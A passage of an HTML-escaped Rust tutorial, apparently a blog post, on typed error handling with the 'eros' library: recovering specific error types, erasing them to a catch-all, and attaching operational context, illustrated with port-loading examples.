&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;port_or_default&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;, &lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;ParseIntError,&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;load_port&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;recover&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;|&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;syntax-support syntax-macro syntax-rust&quot;&gt;eprintln!&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;{error:?}; using port 8080&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;8080&lt;/span&gt;
    &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The return type now contains only &lt;code&gt;ParseIntError&lt;/code&gt;. &lt;code&gt;recover&lt;/code&gt; handles the selected error type and turns the handler’s value into a success. Other errors pass through unchanged.&lt;/p&gt;
&lt;p&gt;This is the part I find most useful. The signature describes what can still go wrong after our recovery policy has run. A caller does not need to know that an I/O error was possible somewhere below it, because that error has already been handled.&lt;/p&gt;
&lt;p&gt;We can also recover a group of error types. If both unreadable files and invalid numbers should use a default, all possible errors can be removed:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;forgiving_port&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;load_port&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
        .&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;recover&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;io&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;Error, ParseIntError&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;, &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;|&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;_&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;|&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-closure syntax-rust&quot;&gt;&lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
        .&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;into_value&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After recovery, the result has the empty error set &lt;code&gt;()&lt;/code&gt;. &lt;code&gt;.into_value()&lt;/code&gt; extracts the value, and only compiles when no possible errors remain.&lt;/p&gt;
&lt;h2&gt;Types Only Where They Matter&lt;/h2&gt;
&lt;p&gt;Sometimes the caller has no useful recovery policy. It only needs to propagate an error or report it at the top of the program. Carrying every possible error type through that signature may just be noise:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;load_port_untyped&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;let&lt;/span&gt; contents &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;std&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;fs&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;read_to_string&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;contents.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without a tuple, the error set defaults to &lt;code&gt;AnyError&lt;/code&gt;. Typed results can flow into this catch-all form with &lt;code&gt;?&lt;/code&gt; as well:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;start_server&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt; &lt;span class=&quot;syntax-meta syntax-function syntax-return-type syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-generic syntax-rust&quot;&gt;Result&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-begin syntax-rust&quot;&gt;&amp;lt;&lt;/span&gt;TcpListener&lt;span class=&quot;syntax-punctuation syntax-definition syntax-generic syntax-end syntax-rust&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;bind_server&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can keep lower-level functions precise for callers that need recovery, while allowing other callers to propagate the same errors through a simpler signature. Context and backtraces survive this conversion.&lt;/p&gt;
&lt;p&gt;This choice can be made at each boundary. We do not need to commit an entire library or application to one approach. Keep the types where callers make decisions based on them, and erase them where callers only need to pass the failure along.&lt;/p&gt;
&lt;h2&gt;Errors Need Operational Context&lt;/h2&gt;
&lt;p&gt;A precise error type does not tell us which file was being read or why. &lt;code&gt;PermissionDenied&lt;/code&gt; is useful for making a decision, but we still need the path and operation to understand the failure.&lt;/p&gt;
&lt;p&gt;That information belongs with the error as it moves through the program. For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Rust&quot;&gt;&lt;span class=&quot;syntax-source syntax-rust&quot;&gt;&lt;span class=&quot;syntax-keyword syntax-other syntax-rust&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-path syntax-rust&quot;&gt;eros&lt;span class=&quot;syntax-punctuation syntax-accessor syntax-rust&quot;&gt;::&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;Context&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; context&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-annotation syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-annotation syntax-rust&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-annotation syntax-rust&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;Load server port from {}&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-rust&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;,&lt;/span&gt; path&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-annotation syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-function syntax-rust&quot;&gt;fn&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-entity syntax-name syntax-function syntax-rust&quot;&gt;load_port_with_context&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-rust&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;syntax-storage syntax-type syntax-rust&quot;&gt;str&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-rust&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function syntax-parameters syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-parameters syntax-end 